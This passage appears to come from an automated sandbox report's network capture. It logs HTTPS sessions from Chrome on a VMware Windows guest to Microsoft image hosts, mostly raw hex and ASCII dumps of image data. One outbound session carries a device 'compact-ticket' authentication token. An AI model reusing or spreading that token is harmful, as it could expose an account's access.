92 54 39 8d 6b 6c 51 8e 4e ad 9c df 39 93 9b fe 66 9c 96 77 b3 6d d5 4a 99 19 70 61 dd 12 75 37 c3 8d 07 6e 4f 5b 35 fa 
b8 d4 5c ec 25 66 97 8d d7 12 3e 80 39 85 bf 66 ed 58 6e b9 38 f9 7b 2e d5 8b 8f ca f2 72 b2 fd 69 c9 56 f8 9e 5b f5 15 
57 48 0a 29 bc 80 cd c3 db 4f 6e 98 ec 45 a4 6c 69 5b 8d a2 bf d9 56 d5 b7 11 06 0a f7 fe 13 16 51 e9 e4 6a 3a 3d 85 c7 
6d 74 68 76 fa 04 5e d1 1a 85 07 f4 0d 0b be 44 b8 2f 87 33 70 55 91 99 8f d4 02 b3 69 ee de 81 91 17 e9 00 9f ec d2 df 
5d 43 5c 7c 7f 61 63 28 fe d4 d7 9b 8a 52 77 0a 8c 74 39 7e 16 a2 a0 d6 f5 ca 36 64 c8 dc ff 00 33 bc c8 6d 89 1a c4 5f 
61 2e dd df b0 bc cf aa 9d c3 e6 16 03 d8 87 fb 40 d6 
Data Ascii: NO634&j*oT9klQN9fwmJpau7nO[5\%f>9fXn8{.riV[WH)OnEli[VQj:=mthv^D/3pUi]C\|ac(Rwt9~6d3m_a.@

2022-07-01 09:01:57 UTC 7361 IN Data Raw: c7 dd af 73 d8 c5 b6 43 43 43 45 1f da 1c e9 76 34 00 98 1c f0 5a dc 4f c2 3a 8d fb 1a 7d ba 26 3f e4 54 64 33 
00 0a 85 28 2b 5a 2f d6 57 cd a1 a5 96 2c 7d be 27 00 b2 32 b2 0a f0 24 31 64 6e 65 ee f2 5f a3 ed e4 1a 68 4e 4e 6f 6a 
6d 93 8d b8 d8 00 6a 2f 31 cb 90 fe d6 24 9f eb d1 d8 58 b1 42 57 aa b7 39 e3 db c0 68 ed a7 1a 2c ec f8 cb 42 3a 11 f1 
75 b8 f1 fb 7e 1d 5c 2f a6 f6 27 76 9c 89 d5 18 f2 a5 c0 2a f0 fc 3b e8 ce f7 37 8b 5e a7 6d b5 79 a2 06 35 b8 e1 6b f3 56 
9c 1f 29 de 6e e1 12 40 0e 04 b2 e5 7c 7a 69 2e df 8d 1a c6 1d 05 aa 4d 68 3b 35 5f 89 85 f9 ad ce 37 ed 56 8d bf 75 b4 
34 1b 3c 19 a0 63 ed c4 ab d4 d9 0b fb 41 37 58 b3 56 db b9 bc 6a bd dd 50 fa 72 20 72 e3 2c 39 95 0f fe 16 6b c6 7c f3 
6d b9 d9 33 34 cb 8e 41 f0 3d 4a 55 ba 79 aa 9f fb 
Data Ascii: sCCCEv4ZO:}&?Td3(+Z/W,}'2$1dne_hNNojmj/1$XBW9h,B:u~\/'v*;7^my5kV)n@|zi.Mh;5_7Vu4<cA7XVjPr 
r,9k|m34A=JUy

2022-07-01 09:01:57 UTC 7377 IN Data Raw: 58 44 69 dd 8e 27 23 ea 2f cb a5 63 c9 e6 50 ba 0b 9d 3d ec ab 56 12 91 a1 5e dd 3d ee 5a 86 83 6e 9f 30 2c 
f1 10 ed 3e 41 8c a8 ed 0c dc d1 7f eb 73 59 f0 3e 9f 64 e5 0c 8d d5 e1 5e e8 0c ab 4e cb 50 2c 29 f6 79 74 a7 d1 fb b3 
e0 64 18 59 6f 8d c1 65 af 86 44 1d 58 65 5f 81 fc 3e 56 7d 7d b4 b1 ff 00 54 72 fc 0a c7 c2 bf a5 75 bd 32 5d 9e fd c5 38 
7b af 53 d9 72 4f 0a 73 e9 9c 7f c9 a6 44 ce 39 9d 88 af eb 30 fd 8d 67 39 79 dc b0 25 8d 28 07 e9 3f bd ad c1 84 0a 63 
1c 10 13 d8 6b c4 9b 9f 8f c5 a5 32 e6 2c 53 44 ea 4d 7a e8 0f d1 c3 49 2a b4 b2 33 8e 27 fe ca 5e 42 ac 47 a3 fe ca 12 
0c b7 c1 c4 9b 29 08 07 bb 1f 0a 9f d6 d6 1b 0e e3 d4 75 92 75 12 50 90 e1 80 21 be 25 6e f6 bc de 71 83 91 1a 38 11 ab 
31 65 e2 2d e3 c9 7b 11 67 37 b9 a1 f1 65 8f 18 29 8c 
Data Ascii: XDi'#/cP=V^=Zn0,>AsY>d^NP,)ytdYoeDXe_>V}}Tru2]8{SrOsD90g9y%(?ck2,SDMzI*3'^BG)uuP!%nq81e-{g7e)

2022-07-01 09:01:57 UTC 7385 IN Data Raw: 50 c4 02 2a 07 e9 e0 ff 00 7b 4b 6f 20 69 63 c1 74 d5 2f ee 86 56 a7 e3 c4 13 7e d0 40 fe ca 7b ea dc 7e ac 71 
e5 28 e4 b8 07 3f 57 1b 2b f0 ea 5a 69 01 48 d1 4d 45 a7 86 aa b6 09 d7 79 c5 93 06 63 cc 63 2b c4 f1 e3 cd 1b af c2 d6 
e9 26 66 cf 99 b7 c6 99 72 63 ba 46 a4 06 2d 41 50 79 78 2b 73 7e ae 87 b7 61 1f e4 39 19 21 e5 f6 b2 e9 a0 ed c9 bb 2b 
69 63 e8 a2 36 f0 b3 6d bd 17 65 8c 12 d5 76 ec 02 be ef 36 96 e6 66 63 ad 06 31 76 2a 00 bd a8 2b 4f 2c 63 fb fa 3a 57 
51 b7 90 9c 05 87 f6 b5 35 76 9d da c6 4b 34 82 e0 86 3a 53 10 4c f1 48 ae a6 ce 84 d9 85 34 87 71 98 ab 37 6a ad 2a 
75 f6 3e 74 b0 4a b3 03 42 0d 18 1e 00 a9 e5 75 fb 49 ad 9b 54 0b 34 24 49 dc 69 16 e2 7b 02 8e 63 ac b7 98 e3 25 5e 
22 6d 2c c1 41 f2 8e ee 8f 24 e6 46 68 98 69 da 7d 9a d9 9b 
Data Ascii: P*{Ko ict/V~@{~q(?W+ZiHMEycc+&frcF-APyx+s~a9!+ic6mev6fc1v*+O,c:WQ5vK4:SLH4q7j*u>tJBuIT4$
Ii{c%^"m,A$Fhi}

2022-07-01 09:01:57 UTC 7401 IN Data Raw: a2 a0 c1 bd c6 ef 57 be ba 48 77 6d 95 d0 0b f2 23 37 c5 f4 82 bc d2 7d 96 8f 5c 12 1c 79 f7 2c 8a 40 95 62 7d 
9c 00 f8 8f 87 5d 4f 67 dd 8e e5 bc bf 13 d0 91 9a 8a 7d 8b ff 00 97 5c f2 5d cf 23 66 c9 96 0c 47 a4 69 23 80 a4 02 0d 18 
f7 ae d7 b3 ff 00 6e 86 db 07 da 3d ed cb 30 f6 7c ce a5 a4 64 dc 34 e0 bc 56 d4 95 19 74 e4 9d ff 00 8a a8 f7 68 1e 34 
8a 47 a5 cc a0 31 1e 65 e5 d2 a0 c7 b5 7d 9a 2f 1b 7a ff 00 5b c3 90 4e 15 66 88 86 01 78 02 0f 7a 8b a5 9d 42 8e 47 b1 
85 0e 98 81 1d 4b c2 c2 c0 16 fe ce a5 fb b5 91 e5 95 38 c8 39 bb d6 a6 fb c4 ac 71 21 90 f8 aa 38 7d 3a 5f 95 2d 9b 7c 
70 81 c7 a8 5c 9f a8 8b 75 eb e6 75 b0 9b 16 4e 26 36 0c 9f f8 36 b1 78 4c 91 a8 f0 90 3f ab 45 d9 41 22 02 85 47 13 7b 
f8 7a d6 ae e1 54 29 f5 eb 7a 45 39 24 81 a7 de 9c 
Data Ascii: WHwm#7}\y,@b}]Og}\]#fGi#n=0|d4Vth4G1e}/z[NfxzBGK89q!8}:_-|p\uuN&66xL?EA"G{zT)zE9$

2022-07-01 09:01:57 UTC 7417 IN Data Raw: 2a 43 89 20 9b 26 5c 86 34 67 56 73 4f a4 9f f1 68 84 21 40 fd 24 e9 56 de cd f3 1e 9c 05 aa 4f de 36 fe ae 8c 
69 e9 1b 1f 6e 8b b6 81 83 31 3a 9e 93 ea 55 ac 7d ca b3 49 66 39 1d 35 ac 24 7a f5 38 f6 29 a7 f6 6b 5e 03 58 8a 09 a9 
d2 dc 89 c9 89 d8 7d 43 fb 4e 9b 7a 77 0b fd 4d 5d 55 ed 78 d0 b9 14 ed 00 f7 57 de d2 db d0 10 33 13 cb 7d 7d 54 ca c1 
78 b1 0b 76 66 b7 f6 2d 50 c3 2a 34 6a 83 bd 5a d7 41 6e f9 83 1c 43 8c 78 3c cd 70 fa a3 5e 5f fd c7 fd 8d 67 b7 66 46 
80 c7 30 40 2b 5b 8a f3 01 f1 eb 7f e6 b1 77 49 28 c8 af 14 2c b1 ad c0 56 da da 39 bb dd ee 6e f6 b2 15 31 92 e5 49 51 
a9 3f 87 ef 55 c6 3b 62 24 23 32 bc a1 57 c5 e2 fa 77 aa 33 27 32 95 48 fb 2b c7 eb d0 61 cb 9a 93 c7 5d 57 2b fd ba da 
b7 04 0f 8b 21 c7 90 f0 e0 6a 87 ec 3f 77 ef 6a 67 2f 
Data Ascii: *C &\4gVsOh!@$VO6in1:U}If95$z8)k^X}CNzwM]UxW3}}Txvf-P*4jZAnCx<p^_gfF0@+[wI(,V9n1IQ?U;b$#
2Ww3'2H+a]W+!j?wjg/

2022-07-01 09:01:57 UTC 7424 IN Data Raw: d8 3f f4 66 15 c6 7d cc c6 c4 ab c7 dd 46 e7 e8 8f ec 7c 59 53 fb 6d dc 10 dd 51 d4 06 cb 4c bc 54 2f ae 30 d2 
30 72 e3 70 86 e5 b9 7e 93 ee fb da e4 79 b9 02 49 09 0d c4 9d 5f fa b7 72 39 ea ff 00 97 8d 99 9d 6d 8a 4a d0 0f 7d 50 
f9 ad b6 ed 72 ac ac 2c 8d b6 56 c7 ca 16 ca 87 9b 8d 7f 59 7b da 8f 94 ed da 38 b0 94 da 45 ee 9e ac 68 13 34 4e f7 4b 
30 ed b1 ed ad b3 48 c8 4b 57 b6 a0 68 17 6e 3d ba d7 23 96 f6 fb 75 8f 16 e1 ad e4 4c 68 25 14 dc db ea a2 f1 50 b3 0a 
1a 13 ed d1 fb a6 31 11 45 18 37 33 b3 53 fa 80 fe f6 87 db e0 af d1 5a eb 76 f9 29 49 97 11 38 3c 6a 6b c7 cd cd c3 ec 
db a1 02 5a 70 17 d6 4d 2c a4 79 a0 2a e5 6d 58 d2 89 ed 80 18 23 6b 8f 8d 87 b4 8f 0a fb 9a d4 91 d4 f6 eb 18 56 a7 8e 
8a 09 4a 1d 34 5b 1d 2f 4c 68 ba f6 56 71 02 c2 95 d1 
Data Ascii: ?f}F|YSmQLT/00rp~yI_r9mJ}Pr,VY{8Eh4NK0HKWhn=#uLh%P1E73SZv)I8<jkZpM,y*mX#kVJ4[/LhVq

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

17 192.168.2.5 49745 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:37 UTC 213 OUT GET /image/apps.13224.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.9547b9f0-b1dc-4352-9dc9-
7ea6f4eef5c3?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:37 UTC 213 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 38027
Content-Type: image/png
Last-Modified: Thu, 23 Jun 2022 15:40:59 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE1NTJFQzUzODRFMTk"
MS-CV: WiSzVqIwBkypSNwe.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:37 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:37 UTC 214 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 09 70 48 59 73 00 00 19 d6 00 00 19 d6 01 18 d1 ca ed 00 00 22 cf 49 44 41 54 78 9c ed dd 0b 94 65 55 79 27 f0 6f ef 
73 ee ab aa ba 5e 5d ad a2 49 07 46 62 0c 36 08 02 ca 24 92 80 36 98 80 24 32 21 3e 22 10 15 75 81 e3 8c 9a f8 c0 47 
c0 26 8c 31 3a 4e 20 ae b8 92 e0 8b 41 5d ea b0 d2 2b 06 70 40 88 13 34 c9 42 5e 36 20 0f 1d 17 da 04 18 e9 aa ee aa 
ba ef 7b cf d9 7b f6 f3 dc 73 bb 1b 11 53 d5 a7 f7 e9 ff af 2d aa ea d6 a3 cf 2d bb fe eb db df f9 ce 3e 31 01 00 04 22 2e fa 
00 00 00 7e 56 08 2c 00 08 06 02 0b 00 82 81 c0 02 80 60 20 b0 00 20 18 08 2c 00 08 06 02 0b 00 82 81 c0 02 80 60 20 
b0 00 20 18 08 2c 00 08 06 02 0b 00 82 81 c0 02 80 60 20 b0 00 
Data Ascii: PNGIHDR,,y}upHYs"IDATxeUy'os^]IFb6$6$2!>"uG&1:N A]+p@4B^6 {{sS-->1".~V,`  ,`  ,` 

2022-07-01 09:00:37 UTC 229 IN Data Raw: 84 9b e7 94 12 5a e5 d8 a0 f4 30 86 2e 6b 7e 36 96 cd 78 8d ac 77 e6 b4 9d 49 d1 4c 6a 65 f6 4d 69 20 1a ae 
e8 31 c1 06 48 7b 4f 18 c5 32 25 5c 5c 86 a5 04 56 dc b2 4a 3a 2c c2 6b 69 a5 01 56 ec 72 97 e9 5c ba 78 05 41 b6 82 
20 5b 59 81 b9 4b f3 b0 78 75 0a aa ea 79 bc ba 68 58 b3 e7 3f 91 04 29 e7 22 70 d5 f4 54 f5 a1 f3 0c 13 bc 91 09 a6 3a 
83 a7 19 5c aa 2f 6d 3e 57 86 09 3b 5b 09 27 02 eb 00 a1 74 a0 ca 00 6b d8 1e 1f 86 ee f1 a2 ef 41 1f 86 ed 6b c2 d8 3d 
35 4c 17 db d0 f3 70 10 3f 1d a8 c0 fa 9b d9 a6 f0 1e f6 09 7d 4a d7 da 81 e5 e2 e3 de c8 84 4f cd 17 73 21 9b c6 6e e2 
e9 4a d3 8a b9 fb 49 07 58 8a 2e 74 59 a6 9e 15 81 96 52 c4 2e e7 da f0 ed 45 5d b2 e3 41 df d3 b9 b8 57 a3 22 3e 11 c5 
8f df 01 96 f3 7f 6c f5 69 65 81 d5 21 d2 28 d1 12 54 dc 90 
Data Ascii: Z0.k~6xwILjeMi 1H{O2%\\VJ:,kiVr\xA [YKxuyhX?)"pT:\/m>W;['tkAk=5Lp?}JOs!nJIX.tYR.E]AW">lie!(T

2022-07-01 09:00:37 UTC 238 IN Data Raw: a8 47 dc aa 1a 2c 5b 5b 4e a7 95 4d c7 f5 16 cb d7 a6 e0 e9 3b c7 55 f9 98 d6 f9 54 33 12 b7 78 e8 3e 4f 80 
c7 ac 8b 9b e9 6d 48 08 a7 c0 ee 61 66 e8 81 d7 e3 35 97 ff c8 4b 96 34 87 11 bb fd 25 26 6f 2e c0 e4 2d 25 98 b9 87 40 
da 54 8b 71 84 d2 98 1d ad 18 b5 93 f7 77 d5 9b 18 ba b7 91 f0 6a 24 c8 5a 30 82 31 6a 77 03 bf a6 00 d3 b7 3d 36 97 f2 
38 60 54 f0 33 8b 84 3a 64 f0 85 19 da ea 73 73 e0 65 f5 69 65 81 d5 51 12 27 fe 02 58 c9 11 60 1d 1b 5e 80 23 23 b3 70 
bc 1d 58 84 d5 51 41 4b 35 2d 15 e0 09 2a 41 4b 4e eb 00 81 95 34 31 17 fb 27 67 60 ff a4 0c 1c a2 d3 4a 1a 55 82 3d 
a3 cb b1 6f 4a 11 76 4e 7e 85 1d f3 6e 20 37 db b9 3a 39 40 a7 a5 96 2b ce 01 b4 6f 9d c1 e6 d5 3c 25 8e 39 b5 61 71 bb 
75 16 d1 c5 14 b1 81 41 20 70 e4 e7 a7 b7 60 db aa 14 ac a6 
Data Ascii: G,[[NM;UT3x>OmHaf5K4%&o.-%@Tqwj$Z01jw=68`T3:dsseieQ'X`^##pXQAK5-*AKN41'g`JU=oJvN~n 7:9@+
o<%9aquA p`

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

170 192.168.2.5 49942 20.199.120.182 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:02:09 UTC 7440 OUT Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 33 33 35 30 32 65 61 34 65 65 66 
63 38 34 38 0d 0a 0d 0a 
Data Ascii: CNT 1 CON 246Context: b33502ea4eefc848

2022-07-01 09:02:09 UTC 7440 OUT Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 
6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 
6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 
34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 
76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 
61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e 
Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc>
<lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</
deviceName></agent></connect>

2022-07-01 09:02:09 UTC 7441 OUT Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 33 33 35 
30 32 65 61 34 65 65 66 63 38 34 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 
3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 
62 6d 51 41 41 66 67 54 2f 37 30 52 32 76 44 6f 6a 4d 61 68 74 49 4e 66 45 44 49 77 65 37 44 41 45 63 6f 54 58 78 79 3
8 4f 42 65 43 7a 41 4c 4f 55 74 58 2b 42 6f 63 75 74 45 55 70 34 45 4e 49 43 39 37 56 74 43 59 72 36 78 44 6e 59 69 72 
38 49 38 62 30 37 47 53 38 44 67 6e 33 31 33 58 33 38 70 61 6a 4c 47 73 31 66 6f 79 70 46 4e 6e 55 73 41 47 54 45 69 
61 55 59 43 65 71 63 30 39 48 4e 33 39 50 67 5a 61 58 61 35 4d 76 6e 
Data Ascii: ATH 2 CON\DEVICE 1026Context: b33502ea4eefc848<device><compact-ticket>t=EwCwAupIBAAU1bDG
fdaziDfXpjN5N6cYhT1wbmQAAfgT/70R2vDojMahtINfEDIwe7DAEcoTXxy8OBeCzALOUtX+BocutEUp4ENIC97VtC
Yr6xDnYir8I8b07GS8Dgn313X38pajLGs1foypFNnUsAGTEiaUYCeqc09HN39PgZaXa5Mvn

2022-07-01 09:02:09 UTC 7442 OUT Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 33 33 35 30 32 65 61 34 
65 65 66 63 38 34 38 0d 0a 0d 0a 
Data Ascii: BND 3 CON\QOS 29Context: b33502ea4eefc848
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2022-07-01 09:02:09 UTC 7442 IN Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a 
Data Ascii: 202 1 CON 58

2022-07-01 09:02:09 UTC 7442 IN Data Raw: 4d 53 2d 43 56 3a 20 7a 38 54 65 34 2b 59 55 2b 55 57 56 76 72 4b 44 51 56 33 32 36 77 2e 30 0d 0a 0d 0a 
50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e 
Data Ascii: MS-CV: z8Te4+YU+UWVvrKDQV326w.0Payload parsing failed.

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

171 192.168.2.5 49943 80.67.82.211 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:02:13 UTC 7442 OUT GET /cms/api/am/imageFileData/RE4IvyQ?ver=fb8b HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-07-01 09:02:13 UTC 7442 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4IvyQ?ver=fb8b
Last-Modified: Sat, 25 Jun 2022 09:53:29 GMT
X-Source-Length: 479432
X-Datacenter: northeu
X-ActivityId: 886a442b-66dc-4c62-9840-65e8872cd436
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 479432
Cache-Control: public, max-age=305536
Expires: Mon, 04 Jul 2022 21:54:29 GMT
Date: Fri, 01 Jul 2022 09:02:13 GMT
Connection: close

2022-07-01 09:02:13 UTC 7443 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 
03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 
15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 
14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 
14 14 14 14 14 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 
00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 
02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC8"}!1AQa"q2

2022-07-01 09:02:13 UTC 7458 IN Data Raw: 2b d7 9a de e2 35 6c e5 0d 80 38 15 b1 6b 2f 00 56 05 be 46 dc 56 a5 bb 1e 79 3f 4a 93 37 1b 9a 7e 6f 1d 7e 
95 56 69 7a ff 00 93 52 6e f9 47 7f 5a ad 31 38 27 a5 55 c5 ca 8a 73 4b 83 9a bd 66 df 77 9f c0 56 5c 99 dc 3b f3 5a 16 6d 
82 bc 54 48 24 75 3a 6c 85 58 64 74 18 ad 89 65 dc a3 3e 95 83 60 db 58 77 1d 72 6b 4d dc f6 e3 d6 b0 5b 9c 92 d5 96 
63 51 34 25 4f 27 bd 67 5e 42 14 1e 07 15 3d a5 c6 d9 0a f6 ce 73 50 df 31 60 4f 40 78 ad e2 6b 1d cc b9 80 55 6e 3a 0c 
f1 58 73 7c ec 7b 9c fa d6 e4 cb b9 1b 8c 7a d6 53 c3 fb c3 81 f4 a2 5b 9a 94 ae 22 f9 7a e0 55 45 83 8c fb e2 b4 6e 54 
aa 91 8e 6a 92 b7 cd 8c f3 9c 50 90 e3 b1 76 ca 31 c7 3f 5f 5a d6 8a 1f 4f c2 a8 59 ae cc 7f 4a d9 b7 5f 6c f1 9a d2 da 13 
22 bc 90 80 bd 3f 1a 8f cb e0 71 de ad ce d8 c0 ed 4c 
Data Ascii: +5l8k/VFVy?J7~o~VizRnGZ18'UsKfwV\;ZmTH$u:lXdte>`XwrkM[cQ4%O'g^B=sP1`O@xkUn:Xs|{zS["zUEnT
jPv1?_ZOYJ_l"?qL

2022-07-01 09:02:13 UTC 7474 IN Data Raw: d4 8e 6b 97 6d e4 66 90 16 24 9e a4 f7 ad 38 a3 f3 1c 7a 67 f3 ac 68 18 ab 2f 1d f1 5b b6 1f 34 83 d0 53 8e e2 
16 e2 03 f3 7d 2b 12 7b 7d d2 e7 af 7a e9 a6 5f 90 fa 76 e3 9a c7 92 1f 98 9e de b5 a1 ac 4c 9b 88 71 8c 7e 95 9f 71 1e 
dc 9c 76 ad ab 8f bd f4 1e 95 93 7e a0 21 c1 cf 7a 83 4b 9c f5 ea 09 24 03 de b5 74 bb 7f 2f 6f 6f 4a ca e5 ee 80 ea 33 c8 
ae 82 d5 36 ae 73 8e 2b 58 83 34 d5 01 c7 1c fa 8a 24 f9 14 1e dd 4d 40 b7 5b 78 3c 8c 70 6a ad d6 a0 33 8c e2 94 96 
85 22 e4 92 0e 32 79 ec 29 22 3e fc 55 05 b8 dc bd 73 ef 56 2d 5f e5 3e b5 cd ca 65 30 ba 5e 87 1c 74 aa 2f f3 67 90 7f 
1a d0 ba fb a0 f3 54 1b a1 39 cf 35 a2 d8 88 8c 56 db 91 4d 66 27 8f 7a 85 a5 0a d8 cf 34 fd c2 41 90 71 54 8d 51 a9 a7 
2e e0 07 07 9c f4 ae 87 47 42 93 0e 38 ae 7f 4c ca b0 
Data Ascii: kmf$8zgh/[4S}+{}z_vLq~qv~!zK$t/ooJ36s+X4$M@[x<pj3"2y)">UsV-_>e0^t/gT95VMf'z4AqTQ.GB8L

2022-07-01 09:02:13 UTC 7477 IN Data Raw: 9a 69 48 ce 17 3d 2a b2 c8 59 40 e3 15 4a f1 bf 7b d7 bd 58 87 e6 5f e5 5e ad 19 24 ac 72 a7 a9 2c b2 61 4f 
6e 2b 2d 77 4d 26 72 4f 3f 9d 6a b4 25 d4 77 18 a5 b5 b3 55 6c 1c 91 db 8a eb b9 ad c7 d8 c6 47 1d f1 57 6e 06 70 39 a2 
3b 73 1e 48 18 ed 4d 6d cc c3 83 8f a5 4b d4 68 ce ba b7 de 3f 4a c7 92 c8 b4 9c 83 fd 2b a9 92 12 cb c8 c8 f5 c5 54 16 
60 b6 31 fa 66 b3 b1 32 64 5a 4d 89 5c 00 38 e9 5d ee 99 1f d9 6d 41 38 07 1c 56 1e 91 68 01 19 1c 2f 27 8e b5 b1 3d c0 
11 e1 78 1f 4a f3 e7 ef 48 ce d7 20 d4 35 0d bb ce 72 0f 4e 6b 2a 19 4c 8c 09 39 e6 a2 d4 ae 77 38 41 4f b5 8c ac 79 c7 
39 c8 a6 96 b6 13 2c 08 f2 d9 14 d9 1b ec ec 0f 40 7a 54 c9 9d c4 67 23 ae 2a a6 a5 9e 38 24 a9 cf 02 bb 63 14 91 49 22 
56 9c b2 ee 27 8c 77 ef 5c f5 e4 86 49 98 74 f4 ad 48 fc 
Data Ascii: iH=*Y@J{X_^$r,aOn+-wM&rO?j%wUlGWnp9;sHMmKh?J+T`1f2dZM\8]mA8Vh/'=xJH 5rNk*L9w8A
Oy9,@zTg#*8$cI"V'w\ItH

2022-07-01 09:02:13 UTC 7493 IN Data Raw: 0f 88 27 82 40 09 e0 fb d6 b4 36 2b 24 41 ba 82 3a e2 b9 fd 52 d4 c3 70 06 d2 02 9c 1f 7a f9 b9 61 a9 eb 49 
c4 51 a9 7d 4f 47 f0 8e bf b5 4b 4a 73 c7 7a 35 7f 1d 48 b7 c1 23 38 19 c6 07 7a e5 b4 99 bc 9b 70 41 e3 1d 2a 94 8c d7 
7a 82 85 e0 96 af 92 79 3c 65 5a 53 7b 1e 8f d6 3d ce 53 d3 df 58 6b ab 13 21 62 ef 8c 01 e9 fe 73 5c 82 f8 9a ea d6 fc 
a8 76 27 76 33 9e 2b 57 52 b8 4d 1f 45 39 e0 aa 8c b1 3d 6b 89 d1 2e 86 b1 7c 58 12 79 c9 34 b0 d9 52 8a 9c e7 1f 75 
1c be d5 bd 51 ea da 3e bd 71 24 29 2c a4 b0 ce 31 5d be 93 ae 47 79 0b 46 cc aa cc 39 27 83 5e 4d 79 7a 74 bb 60 a3 
ae 32 73 58 30 f8 ea 4b 39 1d bc d2 37 1f 5e 95 e1 d3 c9 ea 62 ea 73 53 8e cc ef 55 f9 55 99 e9 df 14 bc 45 6b 67 a4 4b 
69 6a ea d2 30 c3 6d af 14 85 77 29 38 e3 af 5a b3 ad 78 b1 b5 
Data Ascii: '@6+$A:RpzaIQ}OGKJsz5H#8zpA*zy<eZS{=SXk!bs\v'v3+WRME9=k.|Xy4RuQ>q$),1]GyF9'^Myzt`2sX0K97
^bsSUUEkgKij0mw)8Zx
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2022-07-01 09:02:13 UTC 7509 IN Data Raw: 24 9c 60 66 ba 95 0c 2e 16 92 84 56 91 32 52 9c 9e bd 4f 33 d7 a5 4b cd 41 d4 e0 a6 70 6a f7 81 6c d6 1b e9 
a6 e9 1c 63 03 27 a7 f9 c5 67 ad be e9 59 9b 92 79 24 f7 ad 88 58 69 5e 1d be 9f a7 ee d9 87 6e d5 e2 57 af cb 4a 52 97 
